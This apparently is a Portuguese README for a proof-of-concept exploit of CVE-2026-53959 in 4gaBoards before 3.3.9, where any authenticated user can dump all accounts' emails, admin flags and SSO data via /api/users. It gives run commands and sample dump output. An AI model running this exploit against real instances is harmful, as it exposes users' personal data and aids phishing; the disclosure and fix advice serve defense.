
4gaBoards < 3.3.9 - Divulgação de Informações do Usuário
Este repositório contém um exploit de Prova de Conceito (PoC) para o CVE-2026-53959
Este projeto é fornecido apenas para fins educacionais e testes de segurança autorizados. Não o utilize contra sistemas que você não possui ou para os quais não tem permissão de testar.
O 4gaBoards é um sistema de boards para gerenciamento de projetos em tempo real. Antes da versão 3.3.9, o 4gaBoards permitia que qualquer usuário autenticado enumerasse informações de conta de todos os usuários por meio de GET /api/users e recuperasse contas arbitrárias por meio de GET /api/users/:id. As ações users/index e users/show dependem apenas da política padrão is-authenticated em server/config/policies.js, e server/api/controllers/users/index.js retorna o resultado de sails.helpers.users.getMany() sem autorização específica do solicitante ou sanitização da resposta. As respostas expõem email, telefone, organização, nome, isAdmin, ssoGoogleEmail, ssoGithubEmail e outros campos de e-mail vinculados a SSO, incluindo dados de administradores. Isso possibilita enumeração de usuários em toda a instância, perda de privacidade e reconhecimento direcionado para phishing. Esse problema foi corrigido na versão 3.3.9.
| Componente | Versão |
|---|---|
| Vulnerável | <=3.3.8 |
| Corrigida | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
Atualize o 4gaBoards para a versão 3.3.9 ou superior.